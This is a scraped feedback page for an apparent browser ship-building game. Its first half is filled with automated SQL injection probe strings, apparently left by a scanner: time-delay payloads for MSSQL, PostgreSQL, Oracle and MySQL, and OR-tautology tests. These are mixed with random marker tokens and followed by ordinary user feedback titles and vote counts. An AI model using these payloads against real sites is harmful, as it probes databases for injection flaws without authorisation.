  1-1 waitfor delay '0:0:15' --

• dwUQQUrL

  1CkDwDQx4'; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 OR 464=(SELECT 464 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1) OR 496=(SELECT 496 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1)) OR 282=(SELECT 282 FROM PG_SLEEP(15))--

• dwUQQUrL

  1uYvk9IkS' OR 46=(SELECT 46 FROM PG_SLEEP(15))--

• dwUQQUrL

  16F8cTPs6') OR 880=(SELECT 880 FROM PG_SLEEP(15))--

• dwUQQUrL

  1EdTW0EjT')) OR 26=(SELECT 26 FROM PG_SLEEP(15))--

• dwUQQUrL

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• dwUQQUrL

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• dwUQQUrL

  1

• dwUQQUrL

  1'"

• dwUQQUrL

  @@2eX6J

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrLP919Bz26

  1

• dwUQQUrL

  1

• -1 OR 2+970-970-1=0+0+0+1 --

  1

• -1 OR 2+13-13-1=0+0+0+1

  1

• -1' OR 2+470-470-1=0+0+0+1 --

  1

• -1' OR 2+397-397-1=0+0+0+1 or 'MYrYVUEr'='

  1

• -1" OR 2+870-870-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• dwUQQUrL-1 waitfor delay '0:0:15' --

  1

• dwUQQUrLm5iZG3Pw'; waitfor delay '0:0:15' --

  1

• dwUQQUrL

  1

• dwUQQUrL'"

  1

• @@6hrfB

  1

• dwUQQUrL

  1

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX

  1rLDZPWIl

• kEMlzpAX

  1

• kEMlzpAX

  -1 OR 2+441-441-1=0+0+0+1 --

• kEMlzpAX

  -1 OR 2+768-768-1=0+0+0+1

• kEMlzpAX

  -1' OR 2+896-896-1=0+0+0+1 --

• kEMlzpAX

  -1' OR 2+83-83-1=0+0+0+1 or 'MtPj17rb'='

• kEMlzpAX

  -1" OR 2+328-328-1=0+0+0+1 --

• kEMlzpAX

  1*if(now()=sysdate(),sleep(15),0)

• kEMlzpAX

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• kEMlzpAX

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• kEMlzpAX

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• kEMlzpAX

  1-1; waitfor delay '0:0:15' --

• kEMlzpAX

  1-1); waitfor delay '0:0:15' --

• kEMlzpAX

  1-1 waitfor delay '0:0:15' --

• kEMlzpAX

  13mLO0wbv'; waitfor delay '0:0:15' --

• kEMlzpAX

  1-1 OR 673=(SELECT 673 FROM PG_SLEEP(15))--

• kEMlzpAX

  1-1) OR 578=(SELECT 578 FROM PG_SLEEP(15))--

• kEMlzpAX

  1-1)) OR 919=(SELECT 919 FROM PG_SLEEP(15))--

• kEMlzpAX

  10cDZuxsW' OR 207=(SELECT 207 FROM PG_SLEEP(15))--

• kEMlzpAX

  1YLzxFxyl') OR 675=(SELECT 675 FROM PG_SLEEP(15))--

• kEMlzpAX

  1cEmZtVxl')) OR 794=(SELECT 794 FROM PG_SLEEP(15))--

• kEMlzpAX

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• kEMlzpAX

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• kEMlzpAX

  1

• kEMlzpAX

  1'"

• kEMlzpAX

  @@XsPD5

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX5zEgzbyw

  1

• kEMlzpAX

  1

• -1 OR 2+888-888-1=0+0+0+1 --

  1

• -1 OR 2+469-469-1=0+0+0+1

  1

• -1' OR 2+101-101-1=0+0+0+1 --

  1

• -1' OR 2+718-718-1=0+0+0+1 or 'BhcodJA5'='

  1

• -1" OR 2+739-739-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• kEMlzpAX-1 waitfor delay '0:0:15' --

  1

• kEMlzpAX40sBn4Ue'; waitfor delay '0:0:15' --

  1

• kEMlzpAX

  1

• kEMlzpAX'"

  1

• @@0bqsB

  1

• kEMlzpAX

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 160 months ago
  Unvote

  8179 agree

• Hack Protection
  By Stealthkid - 151 months ago
  Unvote

  2952 agree

• Add to favorites
  By Anonymous - 162 months ago
  Unvote

  912 agree

• editro
  By critic - 162 months ago
  Unvote

  868 agree

• Missiles as an Third Weapon
  By Ram - 158 months ago
  Unvote

  848 agree

• Change Name?
  By Anonymous - 162 months ago
  Unvote

  841 agree

• Youtube B-wing achievement
  By chuck norris - 160 months ago
  Unvote

  840 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 118 months ago
  Unvote

  810 agree

• Slide ship in on start
  By Kickass guy - 162 months ago
  Unvote

  776 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 157 months ago
  Unvote

  757 agree

• Mistaken Website Bug
  By CrazyDeathling - 160 months ago
  Unvote

  756 agree

• Rank list & Leaderboards
  By StoleYourFood - 157 months ago
  Unvote

  745 agree

• What browsers are supported?
  By Jack - 159 months ago
  Unvote

  737 agree

• It doesn't work!
  By the destructor - 161 months ago
  Unvote

  721 agree

• Awesome
  By Anonymous - 154 months ago
  Unvote

  685 agree

• Save
  By DevilishDB - 160 months ago
  Unvote

  683 agree

• Try Me does not work
  By Tim - 162 months ago
  Unvote

  676 agree

• Two major glitches
  By BeyPokéDig - 162 months ago
  Unvote

  673 agree

• Undo button
  By wombat - 159 months ago
  Unvote

  665 agree

• battle
  By alexof - 160 months ago
  Unvote

  662 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 155 months ago
  Unvote

  657 agree

• achievements
  By Lee - 162 months ago
  Unvote

  654 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 162 months ago
  Unvote

  650 agree

• how do i draw the outline
  By kickassisdeboss - 162 months ago
  Unvote

  649 agree

• omfg
  By Russellmichael13 - 160 months ago
  Unvote

  645 agree

• Pen tool
  By Cblackdragon - 157 months ago
  Unvote

  640 agree

• White labeling the app?
  By Peter.dibart - 157 months ago
  Unvote

  623 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 161 months ago
  Unvote

  616 agree

• You guys should have a symmetrical mode
  By Idrees - 161 months ago
  Unvote

  606 agree

• need some advice
  By Hao - 159 months ago
  Unvote

  603 agree

• Enemies
  By Agallup16 - 161 months ago
  Unvote

  593 agree

• Mirrored editing
  By wombat - 159 months ago
  Unvote

  592 agree

• Forums
  By BeyPokéDig - 161 months ago
  Unvote

  583 agree

• Benefits from improving ranks
  By hurrtz - 158 months ago
  Unvote

  582 agree

• Designer
  By Anonymous - 162 months ago
  Unvote

  579 agree

• Rankings
  By heyo - 161 months ago
  Unvote

  579 agree

• Pro!!
  By Jtbui20 - 161 months ago
  Unvote

  573 agree

• Button
  By Cottonball - 161 months ago
  Unvote

  570 agree

• android app
  By Barissenkal - 153 months ago
  Unvote

  567 agree

• help
  By Russellmichael13 - 160 months ago
  Unvote

  562 agree

• Extra weapons
  By MassMurdererOver9000 - 156 months ago
  Unvote

  556 agree

• Undo Button
  By Cblackdragon - 157 months ago
  Unvote

  554 agree

• I am using this on my site
  By Idrees - 161 months ago
  Unvote

  553 agree

• 1 agrees
  By BeyPokéDig - 162 months ago
  Unvote

  551 agree

• 0xp till| Only GA.
  By StoleYourFood - 157 months ago
  Unvote

  546 agree

• Image for ship
  By wombat - 159 months ago
  Unvote

  544 agree

• You guys need an undo button
  By Idrees - 161 months ago
  Unvote

  529 agree

• Question
  By Kickin Ass - 161 months ago
  Unvote

  525 agree

• how come the editor is so hard to use
  By Rcasassin - 159 months ago
  Unvote

  520 agree

• page moving up/down while controling the ship?
  By Tommy - 161 months ago
  Unvote

  507 agree